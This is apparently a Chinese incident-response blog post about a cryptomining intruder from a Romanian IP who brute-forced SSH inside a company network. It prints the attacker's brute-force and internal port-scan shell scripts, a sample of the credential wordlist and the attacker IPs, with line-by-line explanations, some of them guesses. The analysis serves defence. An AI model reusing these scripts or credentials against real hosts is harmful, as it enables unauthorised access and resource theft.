黑客笔记25:横冲直撞的一个罗马尼亚的恶意挖矿IP

168 阅读5分钟

2024.01.18遇到的事情是一个罗马尼亚的IP 82.76.173.27在早上6点39进入了一台服务器10.100.60.60,之后开始在内网爆破开放22端口的ssh服务,而且部分成功。

当时先断网,然后找到相关的进程,直接kill掉,同时找到落地文件,全部删除,重装系统。

此外在防火墙的IPS模块发现早在几天前,这台服务器已经开始对外反连,涉及的IP是94.125.182.255,这是一个匈牙利的IP地址。

直到今天,这两个IP依然没有被国内知名威胁情报网站标记为恶意,说明活跃度还不是很够。

www.abuseipdb.com/check/94.12…

www.abuseipdb.com/check/82.76…

1709024122762.png

1709024164549.png

这是里面使用的一部分密码字典,总的账号密码数量4346个。

gpu sugontest
ceshi ceshi123
app 123qwe!@#
hanbo 1234
gaurav gaurav
zhangyongqing zhangyongqing
ceshi3 ceshi31
openelec openelec
zhanghua 222222
zwl 123456
sander sander321
user user#123
root linux1
rui 123

从输出的结果来看,目的应该就是挖矿的,系统的CPU数量都专门标记出来了。

Found -> root@10.100.100.163:22 root ---> Linux QSZRT 3.8.13-44.1.1.el6uek.x86_64 #2 SMP Wed Sep 10 06:10:25 PDT 2014 x86_64 x86_64 x86_64 GNU/Linux CPU --> 2

黑客进来之后是先全网扫描哪些服务器开放了22端口,然后针对扫描出来的ssh服务,用4300多个账号密码进行爆破。

1709022756229.png

b1 shell脚本的内容

#!/bin/bash
###########SETARI#############
viteza=7        #viteza minima=7 ### viteza maxima=10#
int=eth0       #ifconfig si vezi ce interfata ai si pune-o aici *inafara de "lo"*
port=22          # Portul
thread=300      #Thread-uri (recomandat intre 1,5k-3k)
banthread=350    #Thread-uri la banner
key=Muie-Kenz0r
###########SETARI#############

######CULORI#####
red=`tput setaf 1`
green=`tput setaf 2`
reset=`tput sgr0`
######CULORI#####


./ps $thread -b $1 p $port "nproc; nvidia-smi --list-gpus"
sleep 5
cat /etc/passwd |grep -v nologin |grep -v false |grep -v sync |grep -v halt|grep -v shutdown|cut -d: -f1 > users;mv users 1 ; cat 1 |awk '{print $1 , $1}' > fisier1 ; cat 1 |awk '{print $1 , $1 123}' >> fisier1 ; cat 1 |awk '{print $1 , 123456}' >> fisier1 ; cat 1 |awk '{print $1 , 111111}' >> fisier1 ; cat fisier1 | sort -u | shuf > bios.txt ; rm -rf 1 fisier1
mv bios.txt p2
chmod +x *
sleep 5
./ps 300 -f scan.log p2 $port "nproc; nvidia-smi --list-gpus"
sleep 7
pkill ps

第一部分

viteza=7: 这个变量设置了速度或速率,这里的"viteza minima"表示最小速度为7(具体单位未给出,但在某些上下文中可能代表最低连接速度、传输速率等)。

int=eth0: 这里指定的是网络接口名称,eth0是Linux系统中常见的以太网接口名称。这意味着配置将应用于名为eth0的网络接口。

port=22: 指定了一个端口号,这里是22,通常这个端口被用来提供SSH(Secure Shell)服务,一种用于远程登录和命令执行的安全协议。

thread=300: 设置了线程数为300。在不同场景下,线程数可能代表并发处理能力,例如在多线程扫描、下载或挖矿工具中,可以同时运行300个线程进行工作。

banthread=350: 类似于上述的thread,但针对的是“ban”操作的线程数量,这可能是指用于执行封禁或屏蔽操作的线程数,比如在网络防火墙、DDoS防护工具中,用350个线程来处理阻止或过滤请求的任务。

key=Muie-Kenz0r: 这是一个密钥或标识符,具体用途取决于上下文,可能用于身份验证、加密通信或作为软件的许可证密钥。

第二部分

./ps $thread -b $1 p $port "nproc; nvidia-smi --list-gpus":

这条命令似乎在运行一个自定义的名为ps的程序或脚本,并传入了几个参数:线程数(由变量thread指定)、可能的输入文件名(通过变量thread指定)、可能的输入文件名(通过变量1传递),以及端口号(通过变量$port指定)。 在命令中还包含了子命令 "nproc; nvidia-smi --list-gpus",这将分别输出系统的逻辑处理器数量(nproc)和NVIDIA GPU的状态信息(nvidia-smi --list-gpus)。这里可能是用于收集服务器性能信息。

sleep 5:

让脚本暂停5秒。

cat /etc/passwd |grep -v nologin |grep -v false |grep -v sync |grep -v halt|grep -v shutdown|cut -d: -f1 > users;mv users 1 ; cat 1 |awk '{print $1 , $1}' > fisier1 ; cat 1 |awk '{print $1 , $1 123}' >> fisier1 ; cat 1 |awk '{print $1 , 123456}' >> fisier1 ; cat 1 |awk '{print $1 , 111111}' >> fisier1 ; cat fisier1 | sort -u | shuf > bios.txt ; rm -rf 1 fisier1

首先从/etc/passwd文件中提取出所有非锁定账户(即不包含“nologin”、“false”、“sync”、“halt”、“shutdown”的行)的用户名(使用cut命令按冒号分割后取第一列)并存储到临时文件users中,随后重命名为1。 接着对文件1进行处理,生成另一个文件fisier1,其中包含多个格式化的用户名和密码组合(如"username, username", "username, 123", "username, 123456", "username, 111111")。 最后对生成的用户名密码组合进行去重并随机排序(sort -u 和 shuf),然后将结果保存至bios.txt,同时删除中间过程中的临时文件1和fisier1。

mv bios.txt p2:

将bios.txt文件重命名为p2。

chmod +x *:

给当前目录下的所有可执行文件赋予执行权限。

sleep 5:

再次让脚本暂停5秒。

./ps 300 -f scan.log p2 $port "nproc; nvidia-smi --list-gpus":

同样调用了之前提到的ps程序,但这次加入了日志文件名(scan.log)和之前生成的文件名p2作为参数,并再次获取系统性能信息。

sleep 7:

脚本再次暂停7秒。

pkill ps:

使用pkill命令结束所有名称为ps的进程。

lan shell程序

./m -p 22 --range 172.26.0.0/16 --range 172.28.0.0/16 --range 172.25.0.0/16 --range 172.16.0.0/16 --range 172.17.0.0/16 --range 172.18.0.0/16 --range 172.20.0.0/16 --range 172.27.0.0/16 --range 172.22.0.0/16 --range 172.31.0.0/16 --range 172.30.0.0/16 --range 192.168.0.0/16 --range 10.0.0.0/8 --rate 30000 >input.txt
sleep 5
./pars2 input.txt ; rm -rf input.txt
./banner b -t 300
sleep 3 ; pkill banner ; rm -rf scan.log
./openssh
./parse 2000 scan.log 9 $1

./m -p 22 --range 172.26.0.0/16 ... --range 172.31.0.0/16 --range 192.168.0.0/16 --range 10.0.0.0/8 --rate 30000 > input.txt:

这条命令运行一个名为m的程序(可能是自定义的端口扫描工具),指定要扫描的目标端口为22(通常是SSH服务端口)。 提供了多个CIDR格式的IP地址范围,涵盖了多个常见的私有IP地址段。 --rate 30000参数可能指定了扫描速率或并发连接数上限为30,000个。 扫描结果被重定向并保存到input.txt文件中。

sleep 5:

让脚本暂停5秒,等待上一步骤完成。

./pars2 input.txt ; rm -rf input.txt:

使用名为pars2的解析器处理input.txt中的扫描结果,并在处理完成后删除该文件。

./banner b -t 300:

运行一个名为banner的工具,根据上下文猜测其可能是用来抓取远程主机的banner信息(如SSH服务器版本信息)的工具,-t 300可能是指定超时时间为300秒。

sleep 3 ; pkill banner ; rm -rf scan.log:

暂停3秒后,使用pkill命令终止所有名称为banner的进程,然后删除名为scan.log的日志文件。

./openssh:

此处命令不明确,如果是启动OpenSSH服务则通常不是通过这种方式,可能是进行其他与OpenSSH相关操作的自定义脚本,具体功能依赖于该脚本的具体实现。

./parse 2000 scan.log 9 $1:

运行一个名为parse的工具,可能用于进一步分析日志数据(假设之前生成的scan.log文件未被删除,或者在banner命令运行过程中产生了新的scan.log文件)。 参数2000、9以及变量$1代表特定的解析参数,含义取决于parse工具的功能设计。